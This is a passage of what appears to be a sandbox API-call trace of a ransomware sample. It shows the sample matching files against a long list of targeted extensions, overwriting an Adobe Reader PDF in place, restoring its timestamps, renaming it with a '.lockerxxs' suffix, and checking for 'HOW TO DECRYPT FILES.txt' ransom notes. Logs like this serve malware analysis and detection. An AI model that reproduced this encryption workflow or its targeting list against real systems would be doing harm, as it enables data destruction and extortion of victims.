(x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.xls") returned 0 [0069.097] lstrlenA (lpString="*.xls") returned 5 [0069.097] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.mp4") returned 0 [0069.097] lstrlenA (lpString="*.mp4") returned 5 [0069.097] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.ppt") returned 0 [0069.097] lstrlenA (lpString="*.ppt") returned 5 [0069.097] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.pptx") returned 0 [0069.097] lstrlenA (lpString="*.pptx") returned 6 [0069.097] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.doc") returned 0 [0069.098] lstrlenA (lpString="*.doc") returned 5 [0069.098] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.dot") returned 0 [0069.098] lstrlenA (lpString="*.dot") returned 5 [0069.098] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.docx") returned 0 [0069.098] lstrlenA (lpString="*.docx") returned 6 [0069.098] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.7z") returned 0 [0069.098] lstrlenA (lpString="*.7z") returned 4 [0069.098] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.tar") returned 0 [0069.098] lstrlenA (lpString="*.tar") returned 5 [0069.098] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.bz2") returned 0 [0069.098] lstrlenA (lpString="*.bz2") returned 5 [0069.098] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.gz") returned 0 [0069.098] lstrlenA (lpString="*.gz") returned 4 [0069.098] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.mkv") returned 0 [0069.098] lstrlenA (lpString="*.mkv") returned 5 [0069.098] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0069.098] lstrlenA (lpString="*.eml") returned 5 [0069.098] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.msg") returned 0 [0069.098] lstrlenA (lpString="*.msg") returned 5 [0069.098] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.edb") returned 0 [0069.098] lstrlenA (lpString="*.edb") returned 5 [0069.099] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.accdb") returned 0 [0069.099] lstrlenA (lpString="*.accdb") returned 7 [0069.099] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.odb") returned 0 [0069.099] lstrlenA (lpString="*.odb") returned 5 [0069.099] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.java") returned 0 [0069.099] lstrlenA (lpString="*.java") returned 6 [0069.099] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.asm") returned 0 [0069.099] lstrlenA (lpString="*.asm") returned 5 [0069.099] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.pfx") returned 0 [0069.099] lstrlenA (lpString="*.pfx") returned 5 [0069.099] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.pem") returned 0 [0069.099] lstrlenA (lpString="*.pem") returned 5 [0069.099] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.p12") returned 0 [0069.099] lstrlenA (lpString="*.p12") returned 5 [0069.099] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.gpg") returned 0 [0069.099] lstrlenA (lpString="*.gpg") returned 5 [0069.099] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.vsd") returned 0 [0069.099] lstrlenA (lpString="*.vsd") returned 5 [0069.099] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.odg") returned 0 [0069.100] lstrlenA (lpString="*.odg") returned 5 [0069.100] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.raw") returned 0 [0069.100] lstrlenA (lpString="*.raw") returned 5 [0069.100] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.nef") returned 0 [0069.100] lstrlenA (lpString="*.nef") returned 5 [0069.100] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.svg") returned 0 [0069.100] lstrlenA (lpString="*.svg") returned 5 [0069.100] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.psd") returned 0 [0069.100] lstrlenA (lpString="*.psd") returned 5 [0069.100] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.vmx") returned 0 [0069.100] lstrlenA (lpString="*.vmx") returned 5 [0069.100] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.vmdk") returned 0 [0069.100] lstrlenA (lpString="*.vmdk") returned 6 [0069.100] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.vdi") returned 0 [0069.100] lstrlenA (lpString="*.vdi") returned 5 [0069.100] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.lay6") returned 0 [0069.100] lstrlenA (lpString="*.lay6") returned 6 [0069.100] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.mpeg") returned 0 [0069.100] lstrlenA (lpString="*.mpeg") returned 6 [0069.100] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.djvu") returned 0 [0069.101] lstrlenA (lpString="*.djvu") returned 6 [0069.101] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.tiff") returned 0 [0069.101] lstrlenA (lpString="*.tiff") returned 6 [0069.101] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.backup") returned 0 [0069.101] lstrlenA (lpString="*.backup") returned 8 [0069.101] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.pdf") returned 1 [0069.101] lstrlenA (lpString="*.pdf") returned 5 [0069.101] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf" [0069.101] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf" [0069.101] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf." [0069.101] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf.lockerxxs" [0069.101] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.102] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x107e2 [0069.102] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x805b4280, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4)) returned 1 [0069.102] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.102] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x107bc, lpOverlapped=0x0) returned 1 [0069.105] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf") returned="AdobeID.pdf" [0069.106] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.106] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x107bc, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x107bc, lpOverlapped=0x0) returned 1 [0069.106] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0069.106] CloseHandle (hObject=0x94) returned 1 [0069.109] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\adobeid.pdf.lockerxxs")) returned 1 [0069.112] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x102c8, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0069.112] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.112] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DefaultID.pdf") returned 1 [0069.112] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DefaultID.pdf") returned 1 [0069.112] lstrcmpiA (lpString1="", lpString2="DefaultID.pdf") returned -1 [0069.113] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf") returned="AdobeID.pdf" [0069.113] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\" [0069.113] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\") returned="" [0069.113] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\HOW TO DECRYPT FILES.txt" [0069.113] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\how to decrypt files.txt")) returned 0x20 [0069.113] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\", lpString2="DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf" [0069.113] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.ems") returned 0 [0069.113] lstrlenA (lpString="*.ems") returned 5 [0069.113] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.db") returned 0 [0069.113] lstrlenA (lpString="*.db") returned 4 [0069.113] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.dbf") returned 0 [0069.113] lstrlenA (lpString="*.dbf") returned 5 [0069.113] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.myox") returned 0 [0069.113] lstrlenA (lpString="*.myox") returned 6 [0069.113] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.myo") returned 0 [0069.113] lstrlenA (lpString="*.myo") returned 5 [0069.113] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.qbw") returned 0 [0069.113] lstrlenA (lpString="*.qbw") returned 5 [0069.113] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.qbb") returned 0 [0069.113] lstrlenA (lpString="*.qbb") returned 5 [0069.114] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.qbm") returned 0 [0069.114] lstrlenA (lpString="*.qbm") returned 5 [0069.114] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.qbo") returned 0 [0069.114] lstrlenA (lpString="*.qbo") returned 5 [0069.114] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.qbx") returned 0 [0069.114] lstrlenA (lpString="*.qbx") returned 5 [0069.114] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.qba") returned 0 [0069.114] lstrlenA (lpString="*.qba") returned 5 [0069.114] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.qby") returned 0 [0069.114] lstrlenA (lpString="*.qby") returned 5 [0069.114] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.qbj") returned 0 [0069.114] lstrlenA (lpString="*.qbj") returned 5 [0069.114] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.ofx") returned 0 [0069.114] lstrlenA (lpString="*.ofx") returned 5 [0069.114] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.qif") returned 0 [0069.114] lstrlenA (lpString="*.qif") returned 5 [0069.114] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.mye") returned 0 [0069.114] lstrlenA (lpString="*.mye") returned 5 [0069.114] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.mbox") returned 0 [0069.115] lstrlenA (lpString="*.mbox") returned 6 [0069.115] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0069.115] lstrlenA (lpString="*.eml") returned 5 [0069.115] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.pst") returned 0 [0069.115] lstrlenA (lpString="*.pst") returned 5 [0069.115] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.ost") returned 0 [0069.115] lstrlenA (lpString="*.ost") returned 5 [0069.115] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.idx") returned 0 [0069.115] lstrlenA (lpString="*.idx") returned 5 [0069.115] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.dbx") returned 0 [0069.115] lstrlenA (lpString="*.dbx") returned 5 [0069.115] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.sql") returned 0 [0069.115] lstrlenA (lpString="*.sql") returned 5 [0069.115] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.mdb") returned 0 [0069.115] lstrlenA (lpString="*.mdb") returned 5 [0069.115] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.fdb") returned 0 [0069.115] lstrlenA (lpString="*.fdb") returned 5 [0069.115] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.wab") returned 0 [0069.115] lstrlenA (lpString="*.wab") returned 5 [0069.115] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.dat") returned 0 [0069.115] lstrlenA (lpString="*.dat") returned 5 [0069.115] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.txt") returned 0 [0069.116] lstrlenA (lpString="*.txt") returned 5 [0069.116] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.jpeg") returned 0 [0069.116] lstrlenA (lpString="*.jpeg") returned 6 [0069.116] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.jpg") returned 0 [0069.116] lstrlenA (lpString="*.jpg") returned 5 [0069.116] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.png") returned 0 [0069.116] lstrlenA (lpString="*.png") returned 5 [0069.116] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.php") returned 0 [0069.116] lstrlenA (lpString="*.php") returned 5 [0069.116] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.cs") returned 0 [0069.116] lstrlenA (lpString="*.cs") returned 4 [0069.116] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.cpp") returned 0 [0069.116] lstrlenA (lpString="*.cpp") returned 5 [0069.116] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.rar") returned 0 [0069.116] lstrlenA (lpString="*.rar") returned 5 [0069.116] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.zip") returned 0 [0069.116] lstrlenA (lpString="*.zip") returned 5 [0069.116] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.html") returned 0 [0069.116] lstrlenA (lpString="*.html") returned 6 [0069.117] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.htm") returned 0 [0069.117] lstrlenA (lpString="*.htm") returned 5 [0069.117] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.xlsx") returned 0 [0069.117] lstrlenA (lpString="*.xlsx") returned 6 [0069.117] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.xls") returned 0 [0069.117] lstrlenA (lpString="*.xls") returned 5 [0069.117] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.mp4") returned 0 [0069.117] lstrlenA (lpString="*.mp4") returned 5 [0069.117] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.ppt") returned 0 [0069.117] lstrlenA (lpString="*.ppt") returned 5 [0069.117] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.pptx") returned 0 [0069.117] lstrlenA (lpString="*.pptx") returned 6 [0069.117] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.doc") returned 0 [0069.117] lstrlenA (lpString="*.doc") returned 5 [0069.117] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.dot") returned 0 [0069.117] lstrlenA (lpString="*.dot") returned 5 [0069.117] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.docx") returned 0 [0069.117] lstrlenA (lpString="*.docx") returned 6 [0069.117] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.7z") returned 0 [0069.118] lstrlenA (lpString="*.7z") returned 4 [0069.118] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.tar") returned 0 [0069.118] lstrlenA (lpString="*.tar") returned 5 [0069.118] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.bz2") returned 0 [0069.118] lstrlenA (lpString="*.bz2") returned 5 [0069.118] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.gz") returned 0 [0069.118] lstrlenA (lpString="*.gz") returned 4 [0069.118] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.mkv") returned 0 [0069.118] lstrlenA (lpString="*.mkv") returned 5 [0069.118] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0069.118] lstrlenA (lpString="*.eml") returned 5 [0069.118] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.msg") returned 0 [0069.118] lstrlenA (lpString="*.msg") 